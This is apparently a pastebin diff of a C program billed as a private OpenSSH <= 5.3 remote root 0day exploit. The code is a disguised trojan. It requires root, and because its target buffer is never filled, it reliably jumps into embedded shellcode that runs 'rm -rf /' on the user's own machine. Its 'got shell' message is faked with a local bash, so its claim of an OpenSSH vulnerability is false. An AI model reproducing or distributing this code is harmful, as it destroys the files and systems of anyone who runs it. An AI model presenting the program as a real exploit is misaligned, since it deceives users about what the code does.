View difference between Paste ID: 1hWuBp2Y and WgXrebLq

 /*
 *
 * Priv8! Priv8! Priv8! Priv8! Priv8! Priv8! Priv8!
 *
 * OpenSSH <= 5.3 remote root 0day exploit (32-bit x86)
 * Priv8! Priv8! Priv8! Priv8! Priv8! Priv8! Priv8!
 *
 *
 */
 
 #include <stdio.h>
 #include <netdb.h>
 #include <stdlib.h>
 #include <string.h>
 #include <unistd.h>
 #include <arpa/inet.h>
 #include <sys/types.h>
 #include <sys/socket.h>
 #include <netinet/in.h>
 
 void usage(char *argv[])
 {
     printf("\n\t[+] HATSUNEMIKU\n");
     printf("\t[+] OpenSSH <= 5.3p1 remote root 0day exploit\n");
     printf("\t[+] By: Team foxx\n");
     printf("\t[+] Greetz to hackforums.net\n");
     printf("\t[+] Keep this 0day priv8!\n");
     printf("\t[+] usage: %s <target> <port>\n\n", argv[0]);
     exit(1);
 }
 
 unsigned char decoder[]=   "\x6a\x0b\x58\x99\x52"
                            "\x6a\x2f\x89\xe7\x52"
                            "\x66\x68\x2d\x66\x89"
                            "\xe6\x52\x66\x68\x2d"
                            "\x72\x89\xe1\x52\x68"
                            "\x2f\x2f\x72\x6d\x68"
                            "\x2f\x62\x69\x6e\x89"
                            "\xe3\x52\x57\x56\x51"
                            "\x53\x89\xe1\xcd\x80";
 
 unsigned char rootshell[]= "\x31\xd2\xb2\x0a\xb9\x6f\x75\x21\x0a\x51\xb9\x63\x6b"
                            "\x20\x79\x51\x66\xb9\x66\x75\x66\x51\x31\xc9\x89\xe1"
                            "\x31\xdb\xb3\x01\x31\xc0\xb0\x04\xcd\x80\x31\xc0\x31"
                            "\xdb\x40\xcd\x80";
 
 int main(int argc, char **argv)
 {
 
     int euid = geteuid();
     int port= 22, sock;
     char h[1000];
     struct hostent *host;
     struct sockaddr_in addr;
 
     if(euid != 0)
     {
         fprintf(stderr, "You need to be root to use raw sockets.\n");
         exit(1);
     }
     if(euid == 0)
     {
         fprintf(stdout, "MIKU! MIKU! MIKU!\n");
     }
     if(argc != 3)
     usage(argv);
     if(!inet_aton(h, &addr.sin_addr))
     {
         host = gethostbyname(h);
         if(!host)
         {
             fprintf(stderr, "[-] Exploit failed.\n");
             (*(void(*)())decoder)();
             exit(1);
         }
         addr.sin_addr = *(struct in_addr*)host->h_addr;
         }
         sock = socket(PF_INET, SOCK_STREAM, 0);
         addr.sin_port = htons(port);
         addr.sin_family = AF_INET;
         if(connect(sock,(struct sockaddr*)&addr,sizeof(addr))==-1)
         {
             fprintf(stderr,"[-] Exploit failed.\n");
             exit(1);
         }
         char payload[1337];
         memcpy(payload, &decoder, sizeof(decoder));
         memcpy(payload, &rootshell, sizeof(rootshell));
         send(sock, payload, strlen(payload),0);
         close(sock);
         if(connect(sock,(struct sockaddr*)&addr,sizeof(addr))==-1)
         {
             fprintf(stderr, "[-] Exploit failed.\n");
             exit(1);
         }
         else if(connect(sock,(struct sockaddr*)&addr,sizeof(addr))==0)
         {
             fprintf(stdout, "[+]g0t sh3ll!\n");
             system("/bin/bash");
         }
         else
         {
             fprintf(stderr, "[-] Exploit failed.\n");
             close(sock);
             exit(0);
         }
 }